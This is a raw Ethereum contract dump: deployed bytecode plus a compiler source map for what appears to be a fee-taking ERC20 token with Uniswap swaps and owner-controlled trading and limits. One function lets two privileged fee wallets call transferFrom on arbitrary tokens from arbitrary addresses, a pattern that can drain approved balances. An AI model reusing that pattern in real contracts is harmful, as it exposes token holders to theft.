0x60806040526004361061016a5760003560e01c806370a08231116100d15780639213c3581161008a578063a9059cbb11610064578063a9059cbb1461044c578063dd62ed3e1461046c578063e8078d94146104b2578063f2fde38b146104ba57600080fd5b80639213c358146103dc57806395d89b41146103fc578063a8aa1b311461042c57600080fd5b806370a082311461031e578063715018a614610354578063751039fc1461036957806378109e541461037e5780637d1db4a5146103945780638da5cb5b146103aa57600080fd5b8063293230b811610123578063293230b814610267578063313ce5671461027c5780633f4218e01461029857806348ff2b8b146102c857806351bc3c85146102e857806353371be0146102fd57600080fd5b80630445b6671461017657806306fdde031461019f578063095ea7b3146101e05780630d1859f61461021057806318160ddd1461023257806323b872dd1461024757600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018c600a5481565b6040519081526020015b60405180910390f35b3480156101ab57600080fd5b5060408051808201909152600f81526e139a5ad848141bd8dad95d08109bdd608a1b60208201525b60405161019691906117f1565b3480156101ec57600080fd5b506102006101fb366004611854565b6104da565b6040519015158152602001610196565b34801561021c57600080fd5b5061023061022b366004611880565b6104f1565b005b34801561023e57600080fd5b5061018c61059f565b34801561025357600080fd5b506102006102623660046118d1565b610610565b34801561027357600080fd5b5061023061067a565b34801561028857600080fd5b5060405160128152602001610196565b3480156102a457600080fd5b506102006102b3366004611912565b60046020526000908152604090205460ff1681565b3480156102d457600080fd5b506102306102e336600461193d565b6106c2565b3480156102f457600080fd5b50610230610717565b34801561030957600080fd5b5060065461020090600160a01b900460ff1681565b34801561032a57600080fd5b5061018c610339366004611912565b6001600160a01b031660009081526002602052604090205490565b34801561036057600080fd5b5061023061077d565b34801561037557600080fd5b506102306107f1565b34801561038a57600080fd5b5061018c60175481565b3480156103a057600080fd5b5061018c60165481565b3480156103b657600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610196565b3480156103e857600080fd5b506102306103f7366004611976565b610828565b34801561040857600080fd5b50604080518082019091526007815266139252d05093d560ca1b60208201526101d3565b34801561043857600080fd5b506006546103c4906001600160a01b031681565b34801561045857600080fd5b50610200610467366004611854565b6108ce565b34801561047857600080fd5b5061018c6104873660046119c1565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6102306108db565b3480156104c657600080fd5b506102306104d5366004611912565b610ac2565b60006104e7338484610b88565b5060015b92915050565b6013546001600160a01b031633148061051457506014546001600160a01b031633145b61051d57600080fd5b6040516323b872dd60e01b81526001600160a01b0384811660048301528381166024830152604482018390528516906323b872dd906064016020604051808303816000875af1158015610574573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059891906119ef565b5050505050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc54600154919261060b9290916106059190610cac565b90610cac565b905090565b600061061d848484610cb8565b61066f843361066a85604051806060016040528060288152602001611b7f602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906111cf565b610b88565b5060015b9392505050565b6000546001600160a01b031633146106ad5760405162461bcd60e51b81526004016106a490611a0c565b60405180910390fd5b6006805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146106ec5760405162461bcd60e51b81526004016106a490611a0c565b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6013546001600160a01b031633148061073a57506014546001600160a01b031633145b61074357600080fd5b61074e600a546111fb565b60405133904780156108fc02916000818181858888f1935050505015801561077a573d6000803e3d6000fd5b50565b6000546001600160a01b031633146107a75760405162461bcd60e51b81526004016106a490611a0c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461081b5760405162461bcd60e51b81526004016106a490611a0c565b6001546016819055601755565b6000546001600160a01b031633146108525760405162461bcd60e51b81526004016106a490611a0c565b601480546001600160a01b039485166001600160a01b031991821681179092556015805494861694821685179055601380549390951692168217909355600092835260046020526040808420805460ff199081166001908117909255938552818520805485168217905591845290922080549091169091179055565b60006104e7338484610cb8565b6000546001600160a01b031633146109055760405162461bcd60e51b81526004016106a490611a0c565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90506000816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561095e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109829190611a37565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f39190611a37565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a649190611a37565b600580546001600160a01b038086166001600160a01b03199283161790925560068054928416929091169190911790559050610abe610ab8306001600160a01b031660009081526002602052604090205490565b34611377565b5050565b6000546001600160a01b03163314610aec5760405162461bcd60e51b81526004016106a490611a0c565b6001600160a01b038116610b2d5760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b60448201526064016106a4565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bea5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106a4565b6001600160a01b038216610c4b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106a4565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006106738284611a6a565b6001600160a01b038316610d1c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106a4565b6001600160a01b038216610d7e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106a4565b6001600160a01b038316600090815260026020526040902054811115610e005760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b60648201526084016106a4565b6001600160a01b03831660009081526004602052604090205460ff16158015610e4257506001600160a01b03821660009081526004602052604090205460ff16155b15610e9157600654600160a01b900460ff16610e915760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b60448201526064016106a4565b6001600160a01b03831660009081526004602052604090205460ff16158015610ed357506001600160a01b03821660009081526004602052604090205460ff16155b8015610eed57506006546001600160a01b03838116911614155b8015610f0457506001600160a01b03821661dead14155b15610f7d576017546001600160a01b038316600090815260026020526040902054610f2f9083611424565b1115610f7d5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e000060448201526064016106a4565b60165481111580610fa657506001600160a01b03831660009081526004602052604090205460ff165b80610fc957506001600160a01b03821660009081526004602052604090205460ff165b6110095760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016106a4565b6006546001600160a01b03848116911614801561103e57506001600160a01b03821660009081526004602052604090205460ff165b15611057576006805460ff60a81b1916600160a81b1790555b6006546001600160a01b03838116911614801561108d57506001600160a01b03831660009081526004602052604090205460ff16155b156110c957601580546001600160a01b0319166001600160a01b03841617905560078054600191906000906110c3908490611a7d565b90915550505b6110d38383611430565b156110e9576110e3600a546114b8565b60006007555b6001600160a01b03831660009081526002602052604090205461110c9082610cac565b6001600160a01b0384166000908152600260205260408120919091556111328484611641565b61113c5781611147565b611147848484611687565b6001600160a01b03841660009081526002602052604090205490915061116d9082611424565b6001600160a01b0380851660008181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111c19085815260200190565b60405180910390a350505050565b600081848411156111f35760405162461bcd60e51b81526004016106a491906117f1565b505050900390565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061123057611230611a90565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611289573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ad9190611a37565b816001815181106112c0576112c0611a90565b6001600160a01b039283166020918202929092018101919091526015548216600090815260038252604080822030808452935290206000199055600554611308921684610b88565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac94790611341908590600090869030904290600401611aa6565b600060405180830381600087803b15801561135b57600080fd5b505af115801561136f573d6000803e3d6000fd5b505050505050565b60055461138f9030906001600160a01b031684610b88565b60055460155460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af11580156113ff573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906105989190611b17565b60006106738284611a7d565b60085460009060ff1615801561144f5750600654600160a81b900460ff165b80156114645750600654600160a01b900460ff165b801561148957506001600160a01b03831660009081526004602052604090205460ff16155b80156114a257506006546001600160a01b038381169116145b8015610673575050600954600754101592915050565b6008805460ff19166001908117909155600d54600c54600b546000936114f8936002936114f29391926114ec928391611424565b90611424565b9061178e565b9050600061151b82611515600b548661178e90919063ffffffff16565b9061179a565b905060006115298483610cac565b905047611535826111fb565b60006115418247610cac565b9050600061156461155d600b5488610cac90919063ffffffff16565b839061179a565b9050600061157d600b548361178e90919063ffffffff16565b9050801561158f5761158f8682611377565b600c546000906115a4906114f285600261178e565b905080156115e8576014546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156115e6573d6000803e3d6000fd5b505b47801561162b576013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611629573d6000803e3d6000fd5b505b50506008805460ff191690555050505050505050565b6001600160a01b03821660009081526004602052604081205460ff161580156106735750506001600160a01b031660009081526004602052604090205460ff1615919050565b60008061169485856117a6565b11156117875760006116b76116a986866117a6565b6012546114f290869061179a565b306000908152600260205260409020549091506116d49082611424565b30600081815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117259085815260200190565b60405180910390a36000600e541180156117495750600e5461174786866117a6565b115b15611775576117753061dead611770600e546114f26012548961179a90919063ffffffff16565b610cb8565b61177f8382610cac565b915050610673565b5092915050565b60006106738284611b45565b60006106738284611b5c565b6006546000906001600160a01b03908116908316036117c857506010546104eb565b6006546001600160a01b03908116908416036117e75750600f546104eb565b5060115492915050565b600060208083528351808285015260005b8181101561181e57858101830151858201604001528201611802565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461077a57600080fd5b6000806040838503121561186757600080fd5b82356118728161183f565b946020939093013593505050565b6000806000806080858703121561189657600080fd5b84356118a18161183f565b935060208501356118b18161183f565b925060408501356118c18161183f565b9396929550929360600135925050565b6000806000606084860312156118e657600080fd5b83356118f18161183f565b925060208401356119018161183f565b929592945050506040919091013590565b60006020828403121561192457600080fd5b81356106738161183f565b801515811461077a57600080fd5b6000806040838503121561195057600080fd5b823561195b8161183f565b9150602083013561196b8161192f565b809150509250929050565b60008060006060848603121561198b57600080fd5b83356119968161183f565b925060208401356119a68161183f565b915060408401356119b68161183f565b809150509250925092565b600080604083850312156119d457600080fd5b82356119df8161183f565b9150602083013561196b8161183f565b600060208284031215611a0157600080fd5b81516106738161192f565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b600060208284031215611a4957600080fd5b81516106738161183f565b634e487b7160e01b600052601160045260246000fd5b818103818111156104eb576104eb611a54565b808201808211156104eb576104eb611a54565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611af65784516001600160a01b031683529383019391830191600101611ad1565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611b2c57600080fd5b8351925060208401519150604084015190509250925092565b80820281158282048414176104eb576104eb611a54565b600082611b7957634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208f8b1836747ca65e862516422e05dfa146de7c0f475fed58ee03a536b93d95e064736f6c63430008130033
Deployed Bytecode Sourcemap
5233:9580:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5918:61;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;5918:61:0;;;;;;;;7191:67;;;;;;;;;;-1:-1:-1;7251:5:0;;;;;;;;;;;;-1:-1:-1;;;7251:5:0;;;;7191:67;;;;;;;:::i;7988:133::-;;;;;;;;;;-1:-1:-1;7988:133:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;7988:133:0;1205:187:1;9575:246:0;;;;;;;;;;-1:-1:-1;9575:246:0;;;;;:::i;:::-;;:::i;:::-;;8127:132;;;;;;;;;;;;;:::i;14156:309::-;;;;;;;;;;-1:-1:-1;14156:309:0;;;;;:::i;:::-;;:::i;7414:67::-;;;;;;;;;;;;;:::i;7341:::-;;;;;;;;;;-1:-1:-1;7341:67:0;;5450:2;2603:36:1;;2591:2;2576:18;7341:67:0;2461:184:1;5651:44:0;;;;;;;;;;-1:-1:-1;5651:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7874:108;;;;;;;;;;-1:-1:-1;7874:108:0;;;;;:::i;:::-;;:::i;9334:233::-;;;;;;;;;;;;;:::i;5749:34::-;;;;;;;;;;-1:-1:-1;5749:34:0;;;;-1:-1:-1;;;5749:34:0;;;;;;7487:103;;;;;;;;;;-1:-1:-1;7487:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;7570:18:0;7553:7;7570:18;;;:9;:18;;;;;;;7487:103;4019:148;;;;;;;;;;;;;:::i;8610:130::-;;;;;;;;;;;;;:::i;6711:63::-;;;;;;;;;;;;;;;;6644:60;;;;;;;;;;;;;;;;3822:79;;;;;;;;;;-1:-1:-1;3860:7:0;3887:6;-1:-1:-1;;;;;3887:6:0;3822:79;;;-1:-1:-1;;;;;3576:32:1;;;3558:51;;3546:2;3531:18;3822:79:0;3412:203:1;8988:338:0;;;;;;;;;;-1:-1:-1;8988:338:0;;;;;:::i;:::-;;:::i;7264:71::-;;;;;;;;;;-1:-1:-1;7326:7:0;;;;;;;;;;;;-1:-1:-1;;;7326:7:0;;;;7264:71;;5723:19;;;;;;;;;;-1:-1:-1;5723:19:0;;;;-1:-1:-1;;;;;5723:19:0;;;7596:139;;;;;;;;;;-1:-1:-1;7596:139:0;;;;;:::i;:::-;;:::i;7741:127::-;;;;;;;;;;-1:-1:-1;7741:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;7839:18:0;;;7822:7;7839:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7741:127;8267:335;;;:::i;4175:214::-;;;;;;;;;;-1:-1:-1;4175:214:0;;;;;:::i;:::-;;:::i;7988:133::-;8063:4;8070:37;8079:10;8091:7;8100:6;8070:8;:37::i;:::-;-1:-1:-1;8115:4:0;7988:133;;;;;:::o;9575:246::-;9698:20;;-1:-1:-1;;;;;9698:20:0;9684:10;:34;;:70;;-1:-1:-1;9736:18:0;;-1:-1:-1;;;;;9736:18:0;9722:10;:32;9684:70;9676:79;;;;;;9766:47;;-1:-1:-1;;;9766:47:0;;-1:-1:-1;;;;;4805:15:1;;;9766:47:0;;;4787:34:1;4857:15;;;4837:18;;;4830:43;4889:18;;;4882:34;;;9766:29:0;;;;;4722:18:1;;9766:47:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;9575:246;;;;:::o;8127:132::-;7570:9;:18;;;;6395:42;8180:7;7570:18;;;;;8197:12;;8180:7;;8197:60;;7570:18;;8197:33;;:12;:16;:33::i;:::-;:37;;:60::i;:::-;8190:67;;8127:132;:::o;14156:309::-;14254:4;14271:36;14281:6;14289:9;14300:6;14271:9;:36::i;:::-;14318:117;14327:6;14335:10;14347:87;14383:6;14347:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14347:19:0;;;;;;:11;:19;;;;;;;;14367:10;14347:31;;;;;;;;;:87;:35;:87::i;:::-;14318:8;:117::i;:::-;-1:-1:-1;14453:4:0;14156:309;;;;;;:::o;7414:67::-;3949:6;;-1:-1:-1;;;;;3949:6:0;3959:10;3949:20;3941:50;;;;-1:-1:-1;;;3941:50:0;;;;;;;:::i;:::-;;;;;;;;;7458:14:::1;:21:::0;;-1:-1:-1;;;;7458:21:0::1;-1:-1:-1::0;;;7458:21:0::1;::::0;;7414:67::o;7874:108::-;3949:6;;-1:-1:-1;;;;;3949:6:0;3959:10;3949:20;3941:50;;;;-1:-1:-1;;;3941:50:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7948:21:0;;;::::1;;::::0;;;:11:::1;:21;::::0;;;;:32;;-1:-1:-1;;7948:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;7874:108::o;9334:233::-;9398:20;;-1:-1:-1;;;;;9398:20:0;9384:10;:34;;:70;;-1:-1:-1;9436:18:0;;-1:-1:-1;;;;;9436:18:0;9422:10;:32;9384:70;9376:79;;;;;;9466:31;9483:13;;9466:16;:31::i;:::-;9508:51;;9516:10;;9537:21;9508:51;;;;;;;;;9537:21;9516:10;9508:51;;;;;;;;;;;;;;;;;;;;;9334:233::o;4019:148::-;3949:6;;-1:-1:-1;;;;;3949:6:0;3959:10;3949:20;3941:50;;;;-1:-1:-1;;;3941:50:0;;;;;;;:::i;:::-;4126:1:::1;4110:6:::0;;4089:40:::1;::::0;-1:-1:-1;;;;;4110:6:0;;::::1;::::0;4089:40:::1;::::0;4126:1;;4089:40:::1;4157:1;4140:19:::0;;-1:-1:-1;;;;;;4140:19:0::1;::::0;;4019:148::o;8610:130::-;3949:6;;-1:-1:-1;;;;;3949:6:0;3959:10;3949:20;3941:50;;;;-1:-1:-1;;;3941:50:0;;;;;;;:::i;:::-;8679:12:::1;::::0;8664::::1;:27:::0;;;8702:15:::1;:30:::0;8610:130::o;8988:338::-;3949:6;;-1:-1:-1;;;;;3949:6:0;3959:10;3949:20;3941:50;;;;-1:-1:-1;;;3941:50:0;;;;;;;:::i;:::-;9110:18:::1;:31:::0;;-1:-1:-1;;;;;9110:31:0;;::::1;-1:-1:-1::0;;;;;;9110:31:0;;::::1;::::0;::::1;::::0;;;9143:18:::1;:31:::0;;;;::::1;::::0;;::::1;::::0;::::1;::::0;;9176:20:::1;:35:::0;;;;;::::1;::::0;::::1;::::0;::::1;::::0;;;9110:18:::1;9222:23:::0;;;:11:::1;:23;::::0;;;;;:30;;-1:-1:-1;;9222:30:0;;::::1;9110:31:::0;9222:30;;::::1;::::0;;;9254:23;;;;;;:30;;;::::1;::::0;::::1;::::0;;9286:25;;;;;;:32;;;;::::1;::::0;;::::1;::::0;;8988:338::o;7596:139::-;7674:4;7681:40;7691:10;7703:9;7714:6;7681:9;:40::i;8267:335::-;3949:6;;-1:-1:-1;;;;;3949:6:0;3959:10;3949:20;3941:50;;;;-1:-1:-1;;;3941:50:0;;;;;;;:::i;:::-;8328:15:::1;8354:42;8328:69;;8408:13;8433:7;-1:-1:-1::0;;;;;8433:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8424:38:0::1;;8471:4;8478:7;-1:-1:-1::0;;;;;8478:12:0::1;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8424:69;::::0;-1:-1:-1;;;;;;8424:69:0::1;::::0;;;;;;-1:-1:-1;;;;;6009:15:1;;;8424:69:0::1;::::0;::::1;5991:34:1::0;6061:15;;6041:18;;;6034:43;5926:18;;8424:69:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8504:6;:16:::0;;-1:-1:-1;;;;;8504:16:0;;::::1;-1:-1:-1::0;;;;;;8504:16:0;;::::1;;::::0;;;8522:4:::1;:12:::0;;;;::::1;::::0;;;::::1;::::0;;;::::1;::::0;;8408:85;-1:-1:-1;8545:49:0::1;8558:24;8576:4;-1:-1:-1::0;;;;;7570:18:0;7553:7;7570:18;;;:9;:18;;;;;;;7487:103;8558:24:::1;8584:9;8545:12;:49::i;:::-;8317:285;;8267:335::o:0;4175:214::-;3949:6;;-1:-1:-1;;;;;3949:6:0;3959:10;3949:20;3941:50;;;;-1:-1:-1;;;3941:50:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;4264:22:0;::::1;4256:43;;;::::0;-1:-1:-1;;;4256:43:0;;6290:2:1;4256:43:0::1;::::0;::::1;6272:21:1::0;6329:1;6309:18;;;6302:29;-1:-1:-1;;;6347:18:1;;;6340:38;6395:18;;4256:43:0::1;6088:331:1::0;4256:43:0::1;4336:6;::::0;;4315:38:::1;::::0;-1:-1:-1;;;;;4315:38:0;;::::1;::::0;4336:6;::::1;::::0;4315:38:::1;::::0;::::1;4364:6;:17:::0;;-1:-1:-1;;;;;;4364:17:0::1;-1:-1:-1::0;;;;;4364:17:0;;;::::1;::::0;;;::::1;::::0;;4175:214::o;14473:335::-;-1:-1:-1;;;;;14566:19:0;;14558:68;;;;-1:-1:-1;;;14558:68:0;;6626:2:1;14558:68:0;;;6608:21:1;6665:2;6645:18;;;6638:30;6704:34;6684:18;;;6677:62;-1:-1:-1;;;6755:18:1;;;6748:34;6799:19;;14558:68:0;6424:400:1;14558:68:0;-1:-1:-1;;;;;14645:21:0;;14637:68;;;;-1:-1:-1;;;14637:68:0;;7031:2:1;14637:68:0;;;7013:21:1;7070:2;7050:18;;;7043:30;7109:34;7089:18;;;7082:62;-1:-1:-1;;;7160:18:1;;;7153:32;7202:19;;14637:68:0;6829:398:1;14637:68:0;-1:-1:-1;;;;;14716:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;14768:32;;160:25:1;;;14768:32:0;;133:18:1;14768:32:0;;;;;;;14473:335;;;:::o;1486:98::-;1544:7;1571:5;1575:1;1571;:5;:::i;12755:1393::-;-1:-1:-1;;;;;12852:20:0;;12844:70;;;;-1:-1:-1;;;12844:70:0;;7699:2:1;12844:70:0;;;7681:21:1;7738:2;7718:18;;;7711:30;7777:34;7757:18;;;7750:62;-1:-1:-1;;;7828:18:1;;;7821:35;7873:19;;12844:70:0;7497:401:1;12844:70:0;-1:-1:-1;;;;;12933:23:0;;12925:71;;;;-1:-1:-1;;;12925:71:0;;8105:2:1;12925:71:0;;;8087:21:1;8144:2;8124:18;;;8117:30;8183:34;8163:18;;;8156:62;-1:-1:-1;;;8234:18:1;;;8227:33;8277:19;;12925:71:0;7903:399:1;12925:71:0;-1:-1:-1;;;;;7570:18:0;;7553:7;7570:18;;;:9;:18;;;;;;13015:6;:27;;13007:88;;;;-1:-1:-1;;;13007:88:0;;8509:2:1;13007:88:0;;;8491:21:1;8548:2;8528:18;;;8521:30;8587:34;8567:18;;;8560:62;-1:-1:-1;;;8638:18:1;;;8631:47;8695:19;;13007:88:0;8307:413:1;13007:88:0;-1:-1:-1;;;;;13110:19:0;;;;;;:11;:19;;;;;;;;13109:20;:47;;;;-1:-1:-1;;;;;;13134:22:0;;;;;;:11;:22;;;;;;;;13133:23;13109:47;13106:95;;;13166:14;;-1:-1:-1;;;13166:14:0;;;;13158:41;;;;-1:-1:-1;;;13158:41:0;;8927:2:1;13158:41:0;;;8909:21:1;8966:2;8946:18;;;8939:30;-1:-1:-1;;;8985:18:1;;;8978:44;9039:18;;13158:41:0;8725:338:1;13158:41:0;-1:-1:-1;;;;;13215:19:0;;;;;;:11;:19;;;;;;;;13214:20;:47;;;;-1:-1:-1;;;;;;13239:22:0;;;;;;:11;:22;;;;;;;;13238:23;13214:47;:77;;;;-1:-1:-1;13286:4:0;;-1:-1:-1;;;;;13265:26:0;;;13286:4;;13265:26;;13214:77;:107;;;;-1:-1:-1;;;;;;13295:26:0;;6395:42;13295:26;;13214:107;13211:220;;;13379:15;;-1:-1:-1;;;;;13342:20:0;;;;;;:9;:20;;;;;;:32;;13367:6;13342:24;:32::i;:::-;13341:53;;13333:96;;;;-1:-1:-1;;;13333:96:0;;9270:2:1;13333:96:0;;;9252:21:1;9309:2;9289:18;;;9282:30;9348:32;9328:18;;;9321:60;9398:18;;13333:96:0;9068:354:1;13333:96:0;13459:12;;13449:6;:22;;:45;;;-1:-1:-1;;;;;;13475:19:0;;;;;;:11;:19;;;;;;;;13449:45;:71;;;-1:-1:-1;;;;;;13498:22:0;;;;;;:11;:22;;;;;;;;13449:71;13441:101;;;;-1:-1:-1;;;13441:101:0;;9629:2:1;13441:101:0;;;9611:21:1;9668:2;9648:18;;;9641:30;-1:-1:-1;;;9687:18:1;;;9680:47;9744:18;;13441:101:0;9427:341:1;13441:101:0;13567:4;;-1:-1:-1;;;;;13557:14:0;;;13567:4;;13557:14;:40;;;;-1:-1:-1;;;;;;13575:22:0;;;;;;:11;:22;;;;;;;;13557:40;13554:63;;;13599:11;:16;;-1:-1:-1;;;;13599:16:0;-1:-1:-1;;;13599:16:0;;;13554:63;13643:4;;-1:-1:-1;;;;;13630:17:0;;;13643:4;;13630:17;:41;;;;-1:-1:-1;;;;;;13652:19:0;;;;;;:11;:19;;;;;;;;13651:20;13630:41;13627:100;;;13673:18;:28;;-1:-1:-1;;;;;;13673:28:0;-1:-1:-1;;;;;13673:28:0;;;;;13702:9;:23;;-1:-1:-1;;13702:9:0;-1:-1:-1;;13702:23:0;;-1:-1:-1;;13702:23:0;:::i;:::-;;;;-1:-1:-1;;13627:100:0;13740:37;13759:6;13767:9;13740:18;:37::i;:::-;13737:97;;;13779:29;13794:13;;13779:14;:29::i;:::-;13830:1;13810:9;:22;13737:97;-1:-1:-1;;;;;13864:17:0;;;;;;:9;:17;;;;;;:29;;13886:6;13864:21;:29::i;:::-;-1:-1:-1;;;;;13844:17:0;;;;;;:9;:17;;;;;:49;;;;13929:32;13854:6;13951:9;13929:13;:32::i;:::-;:78;;14001:6;13929:78;;;13964:34;13972:6;13980:9;13991:6;13964:7;:34::i;:::-;-1:-1:-1;;;;;14041:20:0;;;;;;:9;:20;;;;;;13904:103;;-1:-1:-1;14041:40:0;;13904:103;14041:24;:40::i;:::-;-1:-1:-1;;;;;14018:20:0;;;;;;;:9;:20;;;;;;;:63;;;;14097:43;;;;;;;;;;14125:14;160:25:1;;148:2;133:18;;14:177;14097:43:0;;;;;;;;12833:1315;12755:1393;;;:::o;1910:240::-;2030:7;2091:12;2083:6;;;;2075:29;;;;-1:-1:-1;;;2075:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2126:5:0;;;1910:240::o;11251:503::-;11341:16;;;11355:1;11341:16;;;;;;;;11317:21;;11341:16;;;;;;;;;;-1:-1:-1;11341:16:0;11317:40;;11386:4;11368;11373:1;11368:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11368:23:0;;;:7;;;;;;;;;;:23;;;;11412:6;;:13;;;-1:-1:-1;;;11412:13:0;;;;:6;;;;;:11;;:13;;;;;11368:7;;11412:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11402:4;11407:1;11402:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11402:23:0;;;:7;;;;;;;;;;:23;;;;11448:18;;;;11492:1;11436:31;;;:11;:31;;;;;;11476:4;11436:46;;;;;;;-1:-1:-1;;11436:58:0;;11537:6;;11505:53;;11537:6;11546:11;11505:8;:53::i;:::-;11569:6;;:177;;-1:-1:-1;;;11569:177:0;;-1:-1:-1;;;;;11569:6:0;;;;:57;;:177;;11641:11;;11569:6;;11683:4;;11710;;11730:15;;11569:177;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11306:448;11251:503;:::o;10900:343::-;11013:6;;10981:53;;10998:4;;-1:-1:-1;;;;;11013:6:0;11022:11;10981:8;:53::i;:::-;11045:6;;11186:18;;11045:190;;-1:-1:-1;;;11045:190:0;;11108:4;11045:190;;;11493:34:1;11543:18;;;11536:34;;;11045:6:0;11586:18:1;;;11579:34;;;11629:18;;;11622:34;-1:-1:-1;;;;;11186:18:0;;;11672:19:1;;;11665:44;11219:15:0;11725:19:1;;;11718:35;11045:6:0;;;:22;;11075:9;;11427:19:1;;11045:190:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;1380:98::-;1438:7;1465:5;1469:1;1465;:5;:::i;8748:232::-;8859:8;;8834:4;;8859:8;;8858:9;:24;;;;-1:-1:-1;8871:11:0;;-1:-1:-1;;;8871:11:0;;;;8858:24;:42;;;;-1:-1:-1;8886:14:0;;-1:-1:-1;;;8886:14:0;;;;8858:42;:66;;;;-1:-1:-1;;;;;;8905:19:0;;;;;;:11;:19;;;;;;;;8904:20;8858:66;:87;;;;-1:-1:-1;8941:4:0;;-1:-1:-1;;;;;8928:17:0;;;8941:4;;8928:17;8858:87;:114;;;;-1:-1:-1;;8962:10:0;;8949:9;;:23;;;8748:232;